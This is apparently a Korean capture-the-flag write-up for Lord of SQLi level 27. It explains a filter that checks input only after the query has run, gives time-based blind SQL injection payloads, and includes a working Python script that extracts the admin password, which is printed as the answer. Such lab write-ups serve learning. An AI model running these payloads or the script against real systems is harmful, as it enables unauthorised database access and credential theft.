싱글쿼터와 역슬래시를 필터링하고 있다.
pw를 알아내야하는 Blind SQLi 문제이다.
이전 문제들과 뭔가 다른 점은 다음 부분이다.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
쿼리를 먼저 실행한 이후에 싱글쿼터와 역슬래시를 필터링하고 있다.
싱글쿼터나 역슬래시가 포함된 문자열을 페이로드로 전달하더라도 쿼리는 실행될 것임을 추측할 수 있다.
다만, 필터에 걸릴 시 No Hack으로 exit해주고 있기 때문에 육안으로는 쿼리의 참/거짓 결과를 알 수가 없다.
따라서 이번 문제에서는 처음으로 Time Based SQLi를 사용해보았다!
[1] pw 길이 찾기
?id=' || id='admin' and if(length(pw)=[숫자], sleep(3), 0) %23
[2] 완전한 pw 찾기
?id=' || id='admin' and if(ascii(substr(pw,[인덱스],1))=[아스키], sleep(3), 0) %23
[3] 참/거짓 판별
LoS 27번 Python 자동화 코드이다.
import requests
import time
url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
cookie = {"PHPSESSID":"leco90m74ui20oikeo0n338f6b"}
print("🖤 Start SQLi...")
for i in range(1,100):
payload = f"?id=' || id='admin' and if(length(pw)={i},sleep(3),0) %23"
pre = time.time()
requests.get(url+payload, cookies=cookie)
post = time.time()
if(post-pre>3):
length = i
print(f">> length : {length}")
break
ans=""
for letter in range(1,length+1):
print(f"🖤 Checking letter {letter}...")
start = 32
end = 127
while True:
middle = round((start+end)/2)
payload = f"?id=' || id='admin' and if(ascii(substr(pw,{letter},1))>={middle},sleep(3),0) %23"
pre = time.time()
requests.get(url+payload, cookies=cookie)
post = time.time()
if(post-pre>3):
payload = f"?id=' || id='admin' and if(ascii(substr(pw,{letter},1))={middle},sleep(3),0) %23"
pre = time.time()
requests.get(url+payload, cookies=cookie)
post = time.time()
if(post-pre>3):
print(f">> letter {letter} → {chr(middle)}")
ans+=chr(middle)
break
else:
start = middle
else:
end = middle
continue
print(f"🖤 Answer : {ans}")
답은 d948b8a0
이다.